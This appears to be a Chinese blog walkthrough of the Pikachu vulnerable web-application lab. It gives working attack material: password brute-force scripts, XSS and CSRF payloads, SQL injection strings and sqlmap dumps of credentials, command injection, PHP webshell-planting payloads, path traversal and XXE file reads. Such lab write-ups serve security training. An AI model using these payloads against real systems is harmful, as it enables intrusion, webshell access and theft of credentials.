Pikachu靶场通关教程

一、暴力破解

1、基于表单的暴力破解

账号:admin 密码:123456

爆破代码

#coding:utf-8
import requests
import re

url = 'http://192.168.116.136/06/vul/burteforce/bf_form.php'

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_form.php',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'PHPSESSID=7po011mb0qppb88ivi9m31gjs2',
}

def login(password):
    payload = {
        'username': 'admin',
        'password': password,
        'submit': 'Login'
    }
    response = requests.post(url, data=payload, headers=headers)
    return response.text

#读取爆破需要用到的字典
with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
    passlist = p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'username or password is not exists' not in login(line):#判断是否爆破成功,如果成功直接停止
        print( "[* 密码 is %s *]" % line )
        break

2、验证码绕过(on server)

1.利用工具Codex绕过验证码进入

2.利用验证码不刷新的漏洞绕过

绕过的思路就是观察产生的验证码有没有过期设置(即用过一次就会刷新),如果没有默认的session就是24min刷新: 

我们查看一下源码,验证码在服务器端被验证,并且验证码不会过期,就算页面刷新验证码刷新,抓包里的验证码不变也可以

抓包看看

发现同一请求包,请求多少次验证码都是一样的

拿我们直接爆破好了

import requests

url = 'http://192.168.116.136/06/vul/burteforce/bf_server.php'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Origin': 'http://192.168.116.136',
    'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_server.php',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'PHPSESSID=tb91i6fcmbjkpkt1cmdg5sm817',
}


def login(password):
    payload = {
        'username': 'admin',
        'password': password,
        'vcode': 'lv1fun',
        'submit': 'Login'
    }
    response = requests.post(url, data=payload, headers=headers)
    return response.text

#读取爆破需要用到的字典
with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
    passlist = p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'username or password is not exists' not in login(line):#判断是否爆破成功,如果成功直接停止
        print( "[* 密码 is %s *]" % line )
        break

3、验证码绕过(on client)

检测验证码的验证方式

发现它就是在前端验证的

我们抓包看一下

 发现这个时候验证码验证已经不起作用了(绕过了前端验证)

直接爆破

import requests

url = 'http://192.168.116.136/06/vul/burteforce/bf_client.php'
payload = {'username': 'admin', 'password': '111111', 'vcode': '2', 'submit': 'Login'}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_client.php',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'PHPSESSID=tb91i6fcmbjkpkt1cmdg5sm817',
}


def login(password):
    payload = {
        'username': 'admin',
        'password': password,
        'vcode': '不用写',
        'submit': 'Login'
    }
    response = requests.post(url, data=payload, headers=headers)
    return response.text

#读取爆破需要用到的字典
with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
    passlist = p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'username or password is not exists' not in login(line):#判断是否爆破成功,如果成功直接停止
        print( "[* 密码 is %s *]" % line )
        break

4、token防爆破?

这题挺经典了,就是先get请求获得token,post请求发送

直接上脚本

import requests
import re

url = 'http://192.168.116.136/06/vul/burteforce/bf_token.php'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Origin': 'http://192.168.116.136',
    'Referer': 'http://192.168.116.136/06/vul/burteforce/bf_token.php',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'PHPSESSID=tb91i6fcmbjkpkt1cmdg5sm817',
}

def get_token():
    response = requests.get(url, headers=headers)
    token_pattern = r'<input type="hidden" name="token" value="(.+?)" />'
    token_match = re.search(token_pattern, response.text)
    token_value = token_match.group(1)
    return token_value


def login(password, token):
    payload = {
        'username': 'admin',
        'password': password,
        'token': token,
        'submit': 'Login'
    }
    response = requests.post(url, data=payload, headers=headers)
    return response.text

#读取爆破需要用到的字典
with open('C:/Users/Asus/Desktop/字典/top10001.txt') as p:
    passlist = p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    token = get_token()
    print(line)
    if 'username or password is not exists' not in login(line, token):#判断是否爆破成功,如果成功直接停止
        print( "[* 密码 is %s *]" % line )
        break

这种爆破方式在限定登录次数面前一点用没有,除非给机会吧

二、Cross-Site Scripting(xss)

1、反射型xss(get)

把前端的长度限制改了就能输入了

 2、反射型xss(post)

居然要登录以后再打,我傻傻的对着登录框一顿打

这是漏洞点啊,输入的东西在下面又显示了出来

 登录进去按上面的方法注入就行了

3、存储型xss

没什么好说的,主要是要理解这个的原理

4、DOM型xss

5、DOM型xss-x

这题输入javascript:alert("1")发现没办法执行,但确实写进去了

查看源代码,发现加了' '。所以主要思路就是加个'闭合

6、xss盲打

这题把xss语句传给后台了

注入后登录后台就能看到了

7、xss之过滤

 这题把script放进黑名单了(应该是),大小写绕过就好

8、xss之htmlspecialchars

htmlspecialchars 是一种常用的 PHP 函数,用于将特殊字符转换为 HTML 实体,以防止 XSS 攻击和其他安全漏洞。

这个函数将特殊字符转换为等效的 HTML 实体,包括将 < 转换为 &lt;、将 > 转换为 &gt;、将 " 转换为 &quot; 等。这样做可以确保用户输入的内容不会被浏览器解释为 HTML 或 JavaScript 代码,从而防止 XSS 攻击。下面这个输入就被转义了

那我们不用'就好了

9、xss之href输出

直接输入就好啦,不知道考什么

10、xss之js输出

</script><script>alert('1')</script>

闭合就完事了

三、CSRF

这题的目的就是让我们理解csrf的原理,大概是用户在浏览器中登录后留下cookie,我们利用这个cookie创建修改用户信息的url链接,再诱导用户在浏览器打开这个链接。这个和xss的区别在于,xss是窃取用户cookie,csrf是利用(天时地利人和缺一不可)

1、CSRF(get)

我们登录进去,点击修改给人信息

抓包

发现是通过get请求改的,那我们构造一个get请求的链接就好了

链接太明显可以生成短链接

2、CSRF(post)

 这个因为是POST请求,所以有点麻烦

这里参考@仙女象小姐的代码

<html>
    <script>
        window.onload = function() {
            document.getElementById("submit").click();
        }
    </script>
    <body>
        <form action="http://192.168.116.136/06/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
                <input type="hidden" name="sex" value="00" />
                <input type="hidden" name="phonenum" value="00" />
                <input type="hidden" name="add" value="00" />
                <input type="hidden" name="email" value="00" />
                <input type="hidden" name="submit" value="submit" />
	            <input id="submit" type="submit" value="Submit request" style="display:none"/>  
        </form>
    </body>
</html>

 总而言之,言而总之就是生成一个隐蔽的表单在自己的服务器中,让受害者点

3、CSRF(token) 

我宣布!这题不写啦!

有token我们怎么诱导人家点啊,点了也没用啊,网上的教程让抓包改token什么的,啊?有意义吗写个脚本随便抓但是有用?

这题告诉我们,要防CSRF?加个token吧

四、SQL-Inject

1、数字型注入

常规的我就只写最后结果了哈!

1  union select 1,group_concat(username,password) from users#

2、字符型注入

vince'  union select 1,group_concat(username,password) from users#

3、搜索型注入

vince' union select 1,2,group_concat(username,password) from users#

4、xx型注入

我是笨蛋没看出来是 ) 闭合

                                                        

然后我直接上sqlmap扫了

哦,看了Payload笨蛋终于发现了 

vince') union select 2,group_concat(username,password) from users#

5、"insert/update"注入

太复杂啦,不想一个一个试怎么办!sqlmap一下

原理还是要说的,报错注入

所以第一第三个参数随便写,第二参数写注入的语句,会返回报错信息的

1'or updatexml(1,concat(0x7e,database()),0)#

呐 

脚本小子来喏~

sqlmap注入六连:
1.   sqlmap -u  "http://www.xx.com?id=x"    【查询是否存在注入点

2.     --dbs         【检测站点包含哪些数据库

3.     --current-db    【获取当前的数据库名

4.     --tables -D "db_name"  【获取指定数据库中的表名 -D后接指定的数据库名称

5.     --columns  -T "table_name" -D "db_name"  【获取数据库表中的字段

6.     --dump -C "columns_name" -T "table_name" -D "db_name"  【获取字段的数据内容

6、"delete"注入

这题sqlmap大人倒下了

一样的报错注入,不过是get请求哦

58 and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)

7、"http header"注入

这题返回header的信息,我们试一下Accept

158' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)and '

为什么加了个and ' 就不报错啊

我不理解,有没有大佬帮忙解释一下

8、盲注(base on boolean)

直接用sqlmap,以前的文章里分别有用脚本和burpsuite爆破的方法,有兴趣可以看看

9、盲注(base on time)

这题无论输入的用户名对不对回显都是i don't care who you are!

参数正确和错误都返回一样的结果,就不能用布尔盲注了,用时间盲注。

时间盲注的原理是构造逻辑语句,为真时执行sleep操作(表现为回包延时),为假时不执行。

在盲注方面sqlmap真的无敌呀
有点慢,就不等了

10、宽字节注入

宽字节注入是sql注入的一种手段,利用mysql使用GBK编码(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\。(当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。)

 所以注入语句

 --tamper="unmagicquotes.py" --batch --level 5 --dump -C "username,password" -T "users" -D "pikachu"

 应该是靶场问题,说是宽字节注入,但最后的payload是盲注

我还是说一下宽字节注入的话是怎么做的,我看别人嘟~

就是在转义字符前面加个%df(在php编码里面是and的意思)然后,gdk编码的mysql刚好不会给双字符的符号转义(它觉得是中文),然后%df就掩护着后面的 ' 单引号绕过了

别人家的代码:

lili%df' or 1=1-- 

谢谢这篇文章给我的帮助:pikachu SQL注入 (皮卡丘漏洞平台通关系列)_pikachu\vul\sqli/sqli_del.php-CSDN博客

五、RCE

1、exec"ping"

我们来看看源码

shell_exec直接执行了我们的输入

那我们输入 -127.0.0.1|whoami 直接返回用户名

 我们可以更深入的搞搞,查看根目录下的文件

2、exec"evel"

源码分析:这个就更炸裂了

 输入phpinfo();验证了漏洞

然后我们输入以下payload,在服务器内生成木马后门

fputs(fopen('shell.php','w'),'<?php phpinfo(); @assert($_POST['cmd']);?>');

fputs(fopen('shell.php','w'),'<?php assert($_POST['cmd']);?>');

然后拿蚁剑连就ok了

六、File Inclusion

1、File Inclusion(local)

我们借助burpsuite上自带的扫描器,发现了这个路径

payload:http://192.168.116.136/06/vul/fileinclude/fi_local.php?filename=../../../../../../../../../../../../../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4

这只是证明有这个漏洞,要加以利用的话可以结合文件上传漏洞来返回shell

2、File Inclusion(remote)

这道题照样可以用绝对路径来渗透,这里主要展示远程文件包含

我没有实现成功大家可以看看她的pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)-CSDN博客

利用远程代码执行shell.txt内的代码(把shell.txt放入网站通过apache服务器上传)

代码如下:

<?php fputs(fopen('shell.php', 'w'), '<?php phpinfo(); @assert($_POST['cmd']);?>');?>

然后就会生成木马后门在http://192.168.116.136/06/vul/fileinclude/shell.php该路径下

再用蚁剑连接

七、 unsafe filedownload

文件下载漏洞原理:

这题的代码如下:

点击名字后,下载filename为地址的文件,但是这题不能用绝对路径,因为filename的路径是接在download前面的。

开扫描器,找到这个地址,直接下载就好

八、Unsafe Fileupload

1、client check

这题是个前端检测,检查文件后缀名

我们先上传图片马绕过前端验证,然后抓包把后缀名从jpg改为php,就上传成功了。

蚁剑连一下

2、MIME type

这题用上题的方法是适用的,但这题考察的不是这个。

MIME 类型不仅用于电子邮件,还用于 HTTP 协议中的 Content-Type 头部,指示客户端如何处理服务器返回的数据。比如,Content-Type: image/jpeg 表示返回的数据是 JPEG 格式的图像。

我们按他的思路,上传php文件

然后把Content-Type:改为image/jpeg 

为什么assert函数用不了呢?有没有大佬解释一下 

3、getimagesize()

这题要靠其他漏洞来利用

上传一个图片马,图片马合成命令: copy /b 1.png + 1.php 2.png,我们再把图片马上传

路径为:http://192.168.116.136/06/vul/unsafeupload/uploads/2024/04/15/934880661d3f6726695795860466.jpg

利用文件包含漏洞访问图片马

http://192.168.116.136/06/vul/fileinclude/fi_local.php?filename=../../../vul/unsafeupload/uploads/2024/04/15/934880661d3f6726695795860466.jpg&submit=%E6%8F%90%E4%BA%A4

访问成功

九、 Over Permission

1、op1 login

这题的漏洞在于,点击查看个人信息后,查询通过获取url上的username来查询。而这个username可以被修改为其他用户,导致其他用户的消息泄露。

源码分析:

防御:

添加session验证,session中的用户名和查询的username是否一致

 if($_SESSION['op']['username']==$_GET['username']){
        $username=escape($link,$_GET['username']);
    }

 2、op2 login

这题的问题在于,添加用户功能

以下是删除功能的代码,可以看到,这里验证了是否用户有登录,和用户级别是多少

而添加功能只验证了是否用户有登录

这就导致了,普通用户也可以无视等级要求去添加用户

过程:

普通用户登录 ---> 访问添加用户的url http://192.168.116.136/06/vul/overpermission/op2/op2_admin_edit.php --> 添加用户

朴实无华

修改后的用户要在admin用户权限下才能看到

防御:

把删除功能的判断放上去

十、目录遍历

原理和文件包含差不多,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样。

在PHP中,有两种包含外部文件的方式,分别是include和require。他们之间有什么不同呢?

如果文件不存在或发生了错误,require产生E_COMPILE_ERROR级别的错误,程序停止运行。而include只产生警告,脚本会继续执行。

这就是它们最主要的区别,其他方面require基本等同于include。

十一、敏感信息泄露

十二、PHP反序列化

源码分析:

  • 如果反序列化成功,即 $unser 不为假值(false/null),则输出 $unser 对象中的 test 属性的值。
  • 如果反序列化失败(例如,$s 不是有效的序列化字符串),则输出一条提示消息:"大兄弟,来点劲爆点儿的!"

 按照这个代码,我们生成序列化字符串

<?php

class s{
    public $test;
}

$ganyu = new s();
$ganyu->test = "<script>alert('xss')</script>";

// 序列化对象
$serialized_data = serialize($ganyu);

// 将序列化后的字符串进行 HTML 实体编码
$encoded_data = htmlentities($serialized_data);

// 输出编码后的内容
echo $encoded_data;
?>

O:1:"s":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}复制过去输入就行

十三、XXE漏洞

xml基础学习:

WEB-XXE (lalajun.github.io)

1、读取系统文件:

Liux下的系统:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

windows下的系统:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

2、读取源码

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/www/html/06/vul/xxe/xxe.php" > ]> 
<foo>&xxe;</foo>

 3、爆破开放端口

可以放进burpsuite爆破

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>


<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

按照两个端口访问速度来判断

后面两个我没搞出来,以后有机会再试

参考:

pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)-CSDN博客

 

十四、URL重定向

十五、SSRF

1、ssrf(curl)

Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等

https:

file:

dict协议扫描内网主机开放端口

 

2、SSRF(file_get_content)

file_get_contents() 是 PHP 中用于读取文件内容的函数之一。它可以读取一个文件的内容并将其作为字符串返回。 

  • 27
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值